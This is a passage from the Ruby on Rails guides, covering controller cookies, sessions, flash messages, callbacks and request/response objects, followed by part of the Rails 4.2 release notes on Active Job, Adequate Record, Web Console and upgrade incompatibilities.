Since cookies are stored on the client browser, they can be susceptible to tampering and are not considered secure for storing sensitive data. Rails provides a signed cookie jar and an encrypted cookie jar for storing sensitive data. The signed cookie jar appends a cryptographic signature on the cookie values to protect their integrity. The encrypted cookie jar encrypts the values in addition to signing them, so that they cannot be read by the user.

Refer to the [API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Cookies.html) for more details.

```
class CookiesController < ApplicationController
  def set_cookie
    cookies.signed[:user_id] = current_user.id
    cookies.encrypted[:expiration_date] = Date.tomorrow # => Thu, 20 Mar 2024
    redirect_to action: "read_cookie"
  end

  def read_cookie
    cookies.encrypted[:expiration_date] # => "2024-03-20"
  end
end
```

These special cookie jars use a serializer to serialize the cookie values into strings and deserialize them into Ruby objects when read back. You can specify which serializer to use via [`config.action_dispatch.cookies_serializer`](configuring.html#config-action-dispatch-cookies-serializer). The default serializer for new applications is `:json`.

Be aware that JSON has limited support serializing Ruby objects such as `Date`, `Time`, and `Symbol`. These will be serialized and deserialized into `String`s.

If you need to store these or more complex objects, you may need to manually convert their values when reading them in subsequent requests.

If you use the cookie session store, the above applies to the `session` and `flash` hash as well.

## [6. Session](#session)

While cookies are stored client-side, session data is stored server-side (in memory, a database, or a cache), and the duration is usually temporary and tied to the user's session (e.g. until they close the browser). An example use case for session is storing sensitive data like user authentication.

In a Rails application, the session is available in the controller and the view.

### [6.1. Working with the Session](#working-with-the-session)

You can use the `session` instance method to access the session in your controllers. Session values are stored as key/value pairs like a hash:

```
class ApplicationController < ActionController::Base
  private
    # Look up the key `:current_user_id` in the session and use it to
    # find the current `User`. This is a common way to handle user login in
    # a Rails application; logging in sets the session value and
    # logging out removes it.
    def current_user
      @current_user ||= User.find_by(id: session[:current_user_id]) if session[:current_user_id]
    end
end
```

To store something in the session, you can assign it to a key similar to adding a value to a hash. After a user is authenticated, its `id` is saved in the session to be used for subsequent requests:

```
class SessionsController < ApplicationController
  def create
    if user = User.authenticate_by(email: params[:email], password: params[:password])
      # Save the user ID in the session so it can be used in
      # subsequent requests
      session[:current_user_id] = user.id
      redirect_to root_url
    end
  end
end
```

To remove something from the session, delete the key/value pair. Deleting the `current_user_id` key from the session is a typical way to log the user out:

```
class SessionsController < ApplicationController
  def destroy
    session.delete(:current_user_id)
    # Clear the current user as well.
    @current_user = nil
    redirect_to root_url, status: :see_other
  end
end
```

It is possible to reset the entire session with [`reset_session`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Metal.html#method-i-reset_session). It is recommended to use `reset_session` after logging in to avoid session fixation attacks. Please refer to the [Security Guide](https://edgeguides.rubyonrails.org/security.html#session-fixation-countermeasures) for details.

Sessions are lazily loaded. If you don't access sessions in your action's code, they will not be loaded. Hence, you will never need to disable sessions - not accessing them will do the job.

### [6.2. The Flash](#the-flash)

The [flash](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Flash.html) provides a way to pass temporary data between controller actions. Anything you place in the flash will be available to the very next action and then cleared. The flash is typically used for setting messages (e.g. notices and alerts) in a controller action before redirecting to an action that displays the message to the user.

The flash is accessed via the [`flash`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Flash/RequestMethods.html#method-i-flash) method. Similar to the session, the flash values are stored as key/value pairs.

For example, in the controller action for logging out a user, the controller can set a flash message which can be displayed to the user on the next request:

```
class SessionsController < ApplicationController
  def destroy
    session.delete(:current_user_id)
    flash[:notice] = "You have successfully logged out."
    redirect_to root_url, status: :see_other
  end
end
```

Displaying a message after a user performs some interactive action in your application is a good practice to give the user feedback that their action was successful (or that there were errors).

In addition to `:notice`, you can also use `:alert`. These are typically styled (using CSS) with different colors to indicate their meaning (e.g. green for notices and orange/red for alerts).

You can also assign a flash message directly within the `redirect_to` method by including it as a parameter to `redirect_to`:

```
redirect_to root_url, notice: "You have successfully logged out."
redirect_to root_url, alert: "There was an issue."
```

You're not limited to `notice` and `alert`. You can set any key in a flash (similar to sessions), by assigning it to the `:flash` argument. For example, assigning `:just_signed_up`:

```
redirect_to root_url, flash: { just_signed_up: true }
```

This will allow you to have the below in the view:

```
<% if flash[:just_signed_up] %>
  <p class="welcome">Welcome to our site!</p>
<% end %>
```

In the above logout example, the `destroy` action redirects to the application's `root_url`, where the message is available to be displayed. However, it's not displayed automatically. It's up to the next action to decide what, if anything, it will do with what the previous action put in the flash.

#### [6.2.1. Displaying flash messages](#displaying-flash-messages)

If a previous action *has* set a flash message, it's a good idea to display that to the user. We can accomplish this consistently by adding the HTML for displaying any flash messages in the application's default layout. Here's an example from `app/views/layouts/application.html.erb`:

```
<html>
  <!-- <head/> -->
  <body>
    <% flash.each do |name, msg| -%>
      <%= content_tag :div, msg, class: name %>
    <% end -%>

    <!-- more content -->
    <%= yield %>
  </body>
</html>
```

The `name` above indicates the type of flash message, such as `notice` or `alert`. This information is normally used to style how the message is displayed to the user.

You can filter by `name` if you want to limit to displaying only `notice` and `alert` in layout. Otherwise, all keys set in the `flash` will be displayed.

Including the reading and displaying of flash messages in the layout ensures that your application will display these automatically, without each view having to include logic to read the flash.

#### [6.2.2. `flash.keep` and `flash.now`](#flash-keep-and-flash-now)

[`flash.keep`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Flash/FlashHash.html#method-i-keep) is used to carry over the flash value through to an additional request. This is useful when there are multiple redirects.

For example, assume that the `index` action in the controller below corresponds to the `root_url`. And you want all requests here to be redirected to `UsersController#index`. If an action sets the flash and redirects to `MainController#index`, those flash values will be lost when another redirect happens, unless you use `flash.keep` to make the values persist for another request.

```
class MainController < ApplicationController
  def index
    # Will persist all flash values.
    flash.keep

    # You can also use a key to keep only some kind of value.
    # flash.keep(:notice)
    redirect_to users_url
  end
end
```

[`flash.now`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Flash/FlashHash.html#method-i-now) is used to make the flash values available in the same request. By default, adding values to the flash will make them available to the next request. For example, if the `create` action fails to save a resource, and you render the `new` template directly, that's not going to result in a new request, but you may still want to display a message using the flash. To do this, you can use [`flash.now`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Flash/FlashHash.html#method-i-now) in the same way you use the normal `flash`:

```
class ClientsController < ApplicationController
  def create
    @client = Client.new(client_params)
    if @client.save
      # ...
    else
      flash.now[:error] = "Could not save client"
      render action: "new"
    end
  end
end
```

### [6.3. Session Stores](#session-stores)

All sessions have a unique ID that represents the session object; these session IDs are stored in a cookie. The actual session objects use one of the following storage mechanisms:

* [`ActionDispatch::Session::CookieStore`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Session/CookieStore.html) - Stores everything on the client.
* [`ActionDispatch::Session::CacheStore`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Session/CacheStore.html) - Stores the data in the Rails cache.
* [`ActionDispatch::Session::ActiveRecordStore`](https://github.com/rails/activerecord-session_store) - Stores the data in a database using Active Record (requires the [`activerecord-session_store`](https://github.com/rails/activerecord-session_store) gem).
* A custom store or a store provided by a third party gem.

For most session stores, the unique session ID in the cookie is used to look up session data on the server (e.g. a database table). Rails does not allow you to pass the session ID in the URL as this is less secure.

#### [6.3.1. `CookieStore`](#cookiestore)

The `CookieStore` is the default and recommended session store. It stores all session data in the cookie itself (the session ID is still available to you if you need it). The `CookieStore` is lightweight and does not require any configuration to use in a new application.

The `CookieStore` can store 4 kB of data - much less than the other storage options - but this is usually enough. Storing large amounts of data in the session is discouraged. You should especially avoid storing complex objects (such as model instances) in the session.

#### [6.3.2. `CacheStore`](#cachestore)

You can use the `CacheStore` if your sessions don't store critical data or don't need to be around for long periods (for instance if you just use the flash for messaging). This will store sessions using the cache implementation you have configured for your application. The advantage is that you can use your existing cache infrastructure for storing sessions without requiring any additional setup or administration. The downside is that the session storage will be temporary and they could disappear at any time.

Read more about session storage in the [Security Guide](security.html#sessions).

### [6.4. Session Storage Options](#session-storage-options)

There are a few configuration options related to session storage. You can configure the type of storage in an initializer:

```
Rails.application.config.session_store :cache_store
```

Rails sets up a session key (the name of the cookie) when signing the session data. These can also be changed in an initializer:

```
Rails.application.config.session_store :cookie_store, key: "_your_app_session"
```

Be sure to restart your server when you modify an initializer file.

You can also pass a `:domain` key and specify the domain name for the cookie:

```
Rails.application.config.session_store :cookie_store, key: "_your_app_session", domain: ".example.com"
```

See [`config.session_store`](configuring.html#config-session-store) in the configuration guide for more information.

Rails sets up a secret key for `CookieStore` used for signing the session data in `config/credentials.yml.enc`. The credentials can be updated with `bin/rails credentials:edit`.

```
# aws:
#   access_key_id: 123
#   secret_access_key: 345

# Used as the base secret for all MessageVerifiers in Rails, including the one protecting cookies.
secret_key_base: 492f...
```

Changing the `secret_key_base` when using the `CookieStore` will invalidate all existing sessions. You'll need to configure a [cookie rotator](https://edgeguides.rubyonrails.org/configuring.html#config-action-dispatch-cookies-rotations) to rotate existing sessions.

## [7. Controller Callbacks](#controller-callbacks)

Controller callbacks are methods that are defined to automatically run before and/or after a controller action. A controller callback method can be defined in a given controller or in the `ApplicationController`. Since all controllers inherit from `ApplicationController`, callbacks defined here will run on every controller in your application.

### [7.1. `before_action`](#before-action)

Callback methods registered via [`before_action`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Callbacks/ClassMethods.html#method-i-before_action) run *before* a controller action. They may halt the request cycle. A common use case for `before_action` is ensuring that a user is logged in:

```
class ApplicationController < ActionController::Base
  before_action :require_login

  private
    def require_login
      unless logged_in?
        flash[:error] = "You must be logged in to access this section"
        redirect_to new_login_url # halts request cycle
      end
    end
end
```

The method stores an error message in the flash and redirects to the login form if the user is not already logged in. When a `before_action` callback renders or redirects (like in the example above), the original controller action is not run. If there are additional callbacks registered to run, they are also cancelled and not run.

In this example, the `before_action` is defined in `ApplicationController` so all controllers in the application inherit it. That implies that all requests in the application will require the user to be logged in. This is fine except for the "login" page. The "login" action should succeed even when the user is not logged in (to allow the user to log in) otherwise the user will never be able to log in. You can use [`skip_before_action`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Callbacks/ClassMethods.html#method-i-skip_before_action) to allow specified controller actions to skip a given `before_action`:

```
class LoginsController < ApplicationController
  skip_before_action :require_login, only: [:new, :create]
end
```

Now, the `LoginsController`'s `new` and `create` actions will work without requiring the user to be logged in.

The `:only` option skips the callback only for the listed actions; there is also an `:except` option which works the other way. These options can be used when registering action callbacks too, to add callbacks which only run for selected actions.

If you register the same action callback multiple times with different options, the last action callback definition will overwrite the previous ones.

### [7.2. `after_action` and `around_action`](#after-action-and-around-action)

You can also define action callbacks to run *after* a controller action has been executed with [`after_action`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Callbacks/ClassMethods.html#method-i-after_action), or to run both before and after with [`around_action`](https://api.rubyonrails.org/v8.1.4/classes/AbstractController/Callbacks/ClassMethods.html#method-i-around_action).

The `after_action` callbacks are similar to `before_action` callbacks, but because the controller action has already been run they have access to the response data that's about to be sent to the client.

`after_action` callbacks are executed only after a successful controller action, and not if an exception is raised in the request cycle.

The `around_action` callbacks are useful when you want to execute code before and after a controller action, allowing you to encapsulate functionality that affects the action's execution. They are responsible for running their associated actions by yielding.

For example, imagine you want to monitor the performance of specific actions. You could use an `around_action` to measure how long each action takes to complete and log this information:

```
class ApplicationController < ActionController::Base
  around_action :measure_execution_time

  private
    def measure_execution_time
      start_time = Time.now
      yield  # This executes the action
      end_time = Time.now

      duration = end_time - start_time
      Rails.logger.info "Action #{action_name} from controller #{controller_name} took #{duration.round(2)} seconds to execute."
    end
end
```

Action callbacks receive `controller_name` and `action_name` as parameters you can use, as shown in the example above.

The `around_action` callback also wraps rendering. In the example above, view rendering will be included in the `duration`. The code after the `yield` in an `around_action` is run even when there is an exception in the associated action and there is an `ensure` block in the callback. (This is different from `after_action` callbacks where an exception in the action cancels the `after_action` code.)

### [7.3. Other Ways to Use Callbacks](#other-ways-to-use-callbacks)

In addition to `before_action`, `after_action`, or `around_action`, there are two less common ways to register callbacks.

The first is to use a block directly with the `*_action` methods. The block receives the controller as an argument. For example, the `require_login` action callback from above could be rewritten to use a block:

```
class ApplicationController < ActionController::Base
  before_action do |controller|
    unless controller.send(:logged_in?)
      flash[:error] = "You must be logged in to access this section"
      redirect_to new_login_url
    end
  end
end
```

Note that the action callback, in this case, uses `send` because the `logged_in?` method is private, and the action callback does not run in the scope of the controller. This is not the recommended way to implement this particular action callback, but in simpler cases, it might be useful.

Specifically for `around_action`, the block also yields in the `action`:

```
around_action { |_controller, action| time(&action) }
```

The second way is to specify a class (or any object that responds to the expected methods) for the callback action. This can be useful in cases that are more complex. As an example, you could rewrite the `around_action` callback to measure execution time with a class:

```
class ApplicationController < ActionController::Base
  around_action ActionDurationCallback
end

class ActionDurationCallback
  def self.around(controller)
    start_time = Time.now
    yield # This executes the action
    end_time = Time.now

    duration = end_time - start_time
    Rails.logger.info "Action #{controller.action_name} from controller #{controller.controller_name} took #{duration.round(2)} seconds to execute."
  end
end
```

In the above example, the `ActionDurationCallback`'s method is not run in the scope of the controller but gets `controller` as an argument.

In general, the class being used for a `*_action` callback must implement a method with the same name as the action callback. So for the `before_action` callback, the class must implement a `before` method, and so on. Also, the `around` method must `yield` to execute the action.

## [8. The Request and Response Objects](#the-request-and-response-objects)

Every controller has two methods, [`request`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Base.html#method-i-request) and [`response`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Base.html#method-i-response), which can be used to access the request and response objects associated with the current request cycle. The `request` method returns an instance of [`ActionDispatch::Request`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html). The [`response`](https://api.rubyonrails.org/v8.1.4/classes/ActionController/Base.html#method-i-response) method returns an instance of [`ActionDispatch::Response`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Response.html), an object representing what is going to be sent back to the client browser (e.g. from `render` or `redirect` in the controller action).

### [8.1. The `request` Object](#the-request-object)

The request object contains useful information about the request coming in from the client. This section describes the purpose of some of the properties of the `request` object.

To get a full list of the available methods, refer to the [Rails API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html) and [Rack](https://rack.github.io/rack/main/Rack/Request.html) documentation.

| Property of `request`                                 | Purpose                                                                           |
| ----------------------------------------------------- | --------------------------------------------------------------------------------- |
| `host`                                                | The hostname used for this request.                                               |
| `domain(n=2)`                                         | The hostname's first `n` segments, starting from the right (the TLD).             |
| `format`                                              | The content type requested by the client.                                         |
| `method`                                              | The HTTP method used for the request.                                             |
| `get?`, `post?`, `patch?`, `put?`, `delete?`, `head?` | Returns true if the HTTP method is GET/POST/PATCH/PUT/DELETE/HEAD.                |
| `headers`                                             | Returns a hash containing the headers associated with the request.                |
| `port`                                                | The port number (integer) used for the request.                                   |
| `protocol`                                            | Returns a string containing the protocol used plus "://", for example "http\://". |
| `query_string`                                        | The query string part of the URL, i.e., everything after "?".                     |
| `remote_ip`                                           | The IP address of the client.                                                     |
| `url`                                                 | The entire URL used for the request.                                              |

#### [8.1.1. `query_parameters`, `request_parameters`, and `path_parameters`](#query-parameters-request-parameters-and-path-parameters)

Rails collects all of the parameters for a given request in the `params` hash, including the ones set in the URL as query string parameters, and those sent as the body of a `POST` request. The request object has three methods that give you access to the various parameters.

* [`query_parameters`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html#method-i-query_parameters) - contains parameters that were sent as part of the query string.
* [`request_parameters`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Request.html#method-i-request_parameters) - contains parameters sent as part of the post body.
* [`path_parameters`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Http/Parameters.html#method-i-path_parameters) - contains parameters parsed by the router as being part of the path leading to this particular controller and action.

#### [8.1.2. `request.variant`](#request-variant)

Controllers might need to tailor a response based on context-specific information in a request. For example, controllers responding to requests from a mobile platform might need to render different content than requests from a desktop browser. One strategy to accomplish this is by customizing a request's variant. Variant names are arbitrary, and can communicate anything from the request's platform (`:android`, `:ios`, `:linux`, `:macos`, `:windows`) to its browser (`:chrome`, `:edge`, `:firefox`, `:safari`), to the type of user (`:admin`, `:guest`, `:user`).

You can set the [`request.variant`](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Http/MimeNegotiation.html#method-i-variant-3D) in a `before_action`:

```
request.variant = :tablet if request.user_agent.include?("iPad")
```

Responding with a variant in a controller action is like responding with a format:

```
# app/controllers/projects_controller.rb

def show
  # ...
  respond_to do |format|
    format.html do |html|
      html.tablet                         # renders app/views/projects/show.html+tablet.erb
      html.phone { extra_setup; render }  # renders app/views/projects/show.html+phone.erb
    end
  end
end
```

A separate template should be created for each format and variant:

* `app/views/projects/show.html.erb`
* `app/views/projects/show.html+tablet.erb`
* `app/views/projects/show.html+phone.erb`

You can also simplify the variants definition using the inline syntax:

```
respond_to do |format|
  format.html.tablet
  format.html.phone  { extra_setup; render }
end
```

### [8.2. The `response` Object](#the-response-object)

The response object is built up during the execution of the action from rendering data to be sent back to the client browser. It's not usually used directly but sometimes, in an `after_action` callback for example, it can be useful to access the response directly. One use case is for setting the content type header:

```
response.content_type = "application/pdf"
```

Another use case is for setting custom response headers:

```
response.headers["X-Custom-Header"] = "some value"
```

The `headers` attribute is a hash which maps header names to header values. Rails sets some headers automatically but if you need to update a header or add a custom header, you can use `response.headers` as in the example above.

The `headers` method can be accessed directly in the controller as well.

Here are some of the properties of the `response` object:

| Property of `response` | Purpose                                                                                             |
| ---------------------- | --------------------------------------------------------------------------------------------------- |
| `body`                 | This is the string of data being sent back to the client. This is most often HTML.                  |
| `status`               | The HTTP status code for the response, like 200 for a successful request or 404 for file not found. |
| `location`             | The URL the client is being redirected to, if any.                                                  |
| `content_type`         | The content type of the response.                                                                   |
| `charset`              | The character set being used for the response. Default is "utf-8".                                  |
| `headers`              | Headers used for the response.                                                                      |

To get a full list of the available methods, refer to the [Rails API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActionDispatch/Response.html) and [Rack Documentation](https://rack.github.io/rack/main/Rack/Response.html).

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/4_2_release_notes.html
----

***

## [1. Upgrading to Rails 4.2](#upgrading-to-rails-4-2)

If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 4.1 in case you haven't and make sure your application still runs as expected before attempting to upgrade to Rails 4.2. A list of things to watch out for when upgrading is available in the guide [Upgrading Ruby on Rails](upgrading_ruby_on_rails.html#upgrading-from-rails-4-1-to-rails-4-2).

## [2. Major Features](#major-features)

### [2.1. Active Job](#active-job)

Active Job is a new framework in Rails 4.2. It is a common interface on top of queuing systems like [Resque](https://github.com/resque/resque), [Delayed Job](https://github.com/collectiveidea/delayed_job), [Sidekiq](https://github.com/mperham/sidekiq), and more.

Jobs written with the Active Job API run on any of the supported queues thanks to their respective adapters. Active Job comes pre-configured with an inline runner that executes jobs right away.

Jobs often need to take Active Record objects as arguments. Active Job passes object references as URIs (uniform resource identifiers) instead of marshalling the object itself. The new [Global ID](https://github.com/rails/globalid) library builds URIs and looks up the objects they reference. Passing Active Record objects as job arguments just works by using Global ID internally.

For example, if `trashable` is an Active Record object, then this job runs just fine with no serialization involved:

```
class TrashableCleanupJob < ActiveJob::Base
  def perform(trashable, depth)
    trashable.cleanup(depth)
  end
end
```

See the [Active Job Basics](active_job_basics.html) guide for more information.

### [2.2. Asynchronous Mails](#asynchronous-mails)

Building on top of Active Job, Action Mailer now comes with a `deliver_later` method that sends emails via the queue, so it doesn't block the controller or model if the queue is asynchronous (the default inline queue blocks).

Sending emails right away is still possible with `deliver_now`.

### [2.3. Adequate Record](#adequate-record)

Adequate Record is a set of performance improvements in Active Record that makes common `find` and `find_by` calls and some association queries up to 2x faster.

It works by caching common SQL queries as prepared statements and reusing them on similar calls, skipping most of the query-generation work on subsequent calls. For more details, please refer to [Aaron Patterson's blog post](http://tenderlovemaking.com/2014/02/19/adequaterecord-pro-like-activerecord.html).

Active Record will automatically take advantage of this feature on supported operations without any user involvement or code changes. Here are some examples of supported operations:

```
Post.find(1)  # First call generates and cache the prepared statement
Post.find(2)  # Subsequent calls reuse the cached prepared statement

Post.find_by_title('first post')
Post.find_by_title('second post')

Post.find_by(title: 'first post')
Post.find_by(title: 'second post')

post.comments
post.comments(true)
```

It's important to highlight that, as the examples above suggest, the prepared statements do not cache the values passed in the method calls; rather, they have placeholders for them.

Caching is not used in the following scenarios:

* The model has a default scope

* The model uses single table inheritance

* `find` with a list of ids, e.g.:

  ```
  # not cached
  Post.find(1, 2, 3)
  Post.find([1,2])
  ```

* `find_by` with SQL fragments:

  ```
  Post.find_by('published_at < ?', 2.weeks.ago)
  ```

### [2.4. Web Console](#web-console)

New applications generated with Rails 4.2 now come with the [Web Console](https://github.com/rails/web-console) gem by default. Web Console adds an interactive Ruby console on every error page and provides a `console` view and controller helpers.

The interactive console on error pages lets you execute code in the context of the place where the exception originated. The `console` helper, if called anywhere in a view or controller, launches an interactive console with the final context, once rendering has completed.

### [2.5. Foreign Key Support](#foreign-key-support)

The migration DSL now supports adding and removing foreign keys. They are dumped to `schema.rb` as well. At this time, only the `mysql`, `mysql2` and `postgresql` adapters support foreign keys.

```
# add a foreign key to `articles.author_id` referencing `authors.id`
add_foreign_key :articles, :authors

# add a foreign key to `articles.author_id` referencing `users.lng_id`
add_foreign_key :articles, :users, column: :author_id, primary_key: "lng_id"

# remove the foreign key on `accounts.branch_id`
remove_foreign_key :accounts, :branches

# remove the foreign key on `accounts.owner_id`
remove_foreign_key :accounts, column: :owner_id
```

See the API documentation on [add\_foreign\_key](https://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_foreign_key) and [remove\_foreign\_key](https://api.rubyonrails.org/v4.2.0/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-remove_foreign_key) for a full description.

## [3. Incompatibilities](#incompatibilities)

Previously deprecated functionality has been removed. Please refer to the individual components for new deprecations in this release.

The following changes may require immediate action upon upgrade.

### [3.1. `render` with a String Argument](#render-with-a-string-argument)

Previously, calling `render "foo/bar"` in a controller action was equivalent to `render file: "foo/bar"`. In Rails 4.2, this has been changed to mean `render template: "foo/bar"` instead. If you need to render a file, please change your code to use the explicit form (`render file: "foo/bar"`) instead.

### [3.2. `respond_with` / Class-Level `respond_to`](#respond-with-class-level-respond-to)

`respond_with` and the corresponding class-level `respond_to` have been moved to the [responders](https://github.com/plataformatec/responders) gem. Add `gem "responders", "~> 2.0"` to your `Gemfile` to use it:

```
# app/controllers/users_controller.rb

class UsersController < ApplicationController
  respond_to :html, :json

  def show
    @user = User.find(params[:id])
    respond_with @user
  end
end
```

Instance-level `respond_to` is unaffected:

```
# app/controllers/users_controller.rb

class UsersController < ApplicationController
  def show
    @user = User.find(params[:id])
    respond_to do |format|
      format.html
      format.json { render json: @user }
    end
  end
end
```

### [3.3. Default Host for `rails server`](#default-host-for-rails-server)

Due to a [change in Rack](https://github.com/rack/rack/commit/28b014484a8ac0bbb388e7eaeeef159598ec64fc), `rails server` now listens on `localhost` instead of `0.0.0.0` by default. This should have minimal impact on the standard development workflow as both <http://127.0.0.1:3000> and <http://localhost:3000> will continue to work as before on your own machine.

However, with this change you will no longer be able to access the Rails server from a different machine, for example if your development environment is in a virtual machine and you would like to access it from the host machine. In such cases, please start the server with `rails server -b 0.0.0.0` to restore the old behavior.

If you do this, be sure to configure your firewall properly such that only trusted machines on your network can access your development server.

### [3.4. Changed status option symbols for `render`](#changed-status-option-symbols-for-render)

Due to a [change in Rack](https://github.com/rack/rack/commit/be28c6a2ac152fe4adfbef71f3db9f4200df89e8), the symbols that the `render` method accepts for the `:status` option have changed:

* 306: `:reserved` has been removed.
* 413: `:request_entity_too_large` has been renamed to `:payload_too_large`.
* 414: `:request_uri_too_long` has been renamed to `:uri_too_long`.
* 416: `:requested_range_not_satisfiable` has been renamed to `:range_not_satisfiable`.

Keep in mind that if calling `render` with an unknown symbol, the response status will default to 500.

### [3.5. HTML Sanitizer](#html-sanitizer)

The HTML sanitizer has been replaced with a new, more robust, implementation built upon [Loofah](https://github.com/flavorjones/loofah) and [Nokogiri](https://github.com/sparklemotion/nokogiri). The new sanitizer is more secure and its sanitization is more powerful and flexible.

Due to the new algorithm, the sanitized output may be different for certain pathological inputs.

If you have a particular need for the exact output of the old sanitizer, you can add the [rails-deprecated\_sanitizer](https://github.com/kaspth/rails-deprecated_sanitizer) gem to the `Gemfile`, to have the old behavior. The gem does not issue deprecation warnings because it is opt-in.

`rails-deprecated_sanitizer` will be supported for Rails 4.2 only; it will not be maintained for Rails 5.0.

See [this blog post](https://blog.plataformatec.com.br/2014/07/the-new-html-sanitizer-in-rails-4-2/) for more details on the changes in the new sanitizer.

### [3.6. `assert_select`](#assert-select)

`assert_select` is now based on [Nokogiri](https://github.com/sparklemotion/nokogiri). As a result, some previously-valid selectors are now unsupported. If your application is using any of these spellings, you will need to update them:

* Values in attribute selectors may need to be quoted if they contain non-alphanumeric characters.

  ```
  # before
  a[href=/]
  a[href$=/]

  # now
  a[href="/"]
  a[href$="/"]
  ```

* DOMs built from HTML source containing invalid HTML with improperly nested elements may differ.

  For example:

  ```
  # content: <div><i><p></i></div>

  # before:
  assert_select('div > i')  # => true
  assert_select('div > p')  # => false
  assert_select('i > p')    # => true

  # now:
  assert_select('div > i')  # => true
  assert_select('div > p')  # => true
  assert_select('i > p')    # => false
  ```

* If the data selected contains entities, the value selected for comparison used to be raw (e.g. `AT&amp;T`), and now is evaluated (e.g. `AT&T`).

  ```
  # content: <p>AT&amp;T</p>

  # before:
  assert_select('p', 'AT&amp;T')  # => true
  assert_select('p', 'AT&T')      # => false

  # now:
  assert_select('p', 'AT&T')      # => true
  assert_select('p', 'AT&amp;T')  # => false
  ```

Furthermore substitutions have changed syntax.

Now you have to use a `:match` CSS-like selector:

```
assert_select ":match('id', ?)", 'comment_1'
```

Additionally Regexp substitutions look different when the assertion fails. Notice how `/hello/` here:

```
assert_select(":match('id', ?)", /hello/)
```

becomes `"(?-mix:hello)"`:

```
Expected at least 1 element matching "div:match('id', "(?-mix:hello)")", found 0..
Expected 0 to be >= 1.
```

See the [Rails Dom Testing](https://github.com/rails/rails-dom-testing/tree/8798b9349fb9540ad8cb9a0ce6cb88d1384a210b) documentation for more on `assert_select`.

## [4. Railties](#railties)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-2-stable/railties/CHANGELOG.md) for detailed changes.

### [4.1. Removals](#railties-removals)

* The `--skip-action-view` option has been removed from the app generator. ([Pull Request](https://github.com/rails/rails/pull/17042))

* The `rails application` command has been removed without replacement. ([Pull Request](https://github.com/rails/rails/pull/11616))

### [4.2. Deprecations](#railties-deprecations)

* Deprecated missing `config.log_level` for production environments. ([Pull Request](https://github.com/rails/rails/pull/16622))

* Deprecated `rake test:all` in favor of `rake test` as it now run all tests in the `test` folder. ([Pull Request](https://github.com/rails/rails/pull/17348))

* Deprecated `rake test:all:db` in favor of `rake test:db`. ([Pull Request](https://github.com/rails/rails/pull/17348))

* Deprecated `Rails::Rack::LogTailer` without replacement. ([Commit](https://github.com/rails/rails/commit/84a13e019e93efaa8994b3f8303d635a7702dbce))

### [4.3. Notable changes](#railties-notable-changes)

* Introduced `web-console` in the default application `Gemfile`. ([Pull Request](https://github.com/rails/rails/pull/11667))

* Added a `required` option to the model generator for associations. ([Pull Request](https://github.com/rails/rails/pull/16062))

* Introduced the `x` namespace for defining custom configuration options:

  ```
  # config/environments/production.rb
  config.x.payment_processing.schedule = :daily
  config.x.payment_processing.retries  = 3
  config.x.super_debugger              = true
  ```

  These options are then available through the configuration object:

  ```
  Rails.configuration.x.payment_processing.schedule # => :daily
  Rails.configuration.x.payment_processing.retries  # => 3
  Rails.configuration.x.super_debugger              # => true
  ```

  ([Commit](https://github.com/rails/rails/commit/611849772dd66c2e4d005dcfe153f7ce79a8a7db))

* Introduced `Rails::Application.config_for` to load a configuration for the current environment.

  ```
  # config/exception_notification.yml
  production:
    url: http://127.0.0.1:8080
    namespace: my_app_production
  development:
    url: http://localhost:3001
    namespace: my_app_development
  ```

  ```
  # config/environments/production.rb
  Rails.application.configure do
    config.middleware.use ExceptionNotifier, config_for(:exception_notification)
  end
  ```

  ([Pull Request](https://github.com/rails/rails/pull/16129))

* Introduced a `--skip-turbolinks` option in the app generator to not generate turbolinks integration. ([Commit](https://github.com/rails/rails/commit/bf17c8a531bc8059d50ad731398002a3e7162a7d))

* Introduced a `bin/setup` script as a convention for automated setup code when bootstrapping an application. ([Pull Request](https://github.com/rails/rails/pull/15189))

* Changed the default value for `config.assets.digest` to `true` in development. ([Pull Request](https://github.com/rails/rails/pull/15155))

* Introduced an API to register new extensions for `rake notes`. ([Pull Request](https://github.com/rails/rails/pull/14379))

* Introduced an `after_bundle` callback for use in Rails templates. ([Pull Request](https://github.com/rails/rails/pull/16359))

* Introduced `Rails.gem_version` as a convenience method to return `Gem::Version.new(Rails.version)`. ([Pull Request](https://github.com/rails/rails/pull/14101))

## [5. Action Pack](#action-pack)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md) for detailed changes.

### [5.1. Removals](#action-pack-removals)

* `respond_with` and the class-level `respond_to` have been removed from Rails and moved to the `responders` gem (version 2.0). Add `gem "responders", "~> 2.0"` to your `Gemfile` to continue using these features. ([Pull Request](https://github.com/rails/rails/pull/16526), [More Details](https://guides.rubyonrails.org/v4.2/upgrading_ruby_on_rails.html#responders))

* Removed deprecated `AbstractController::Helpers::ClassMethods::MissingHelperError` in favor of `AbstractController::Helpers::MissingHelperError`. ([Commit](https://github.com/rails/rails/commit/a1ddde15ae0d612ff2973de9cf768ed701b594e8))

### [5.2. Deprecations](#action-pack-deprecations)

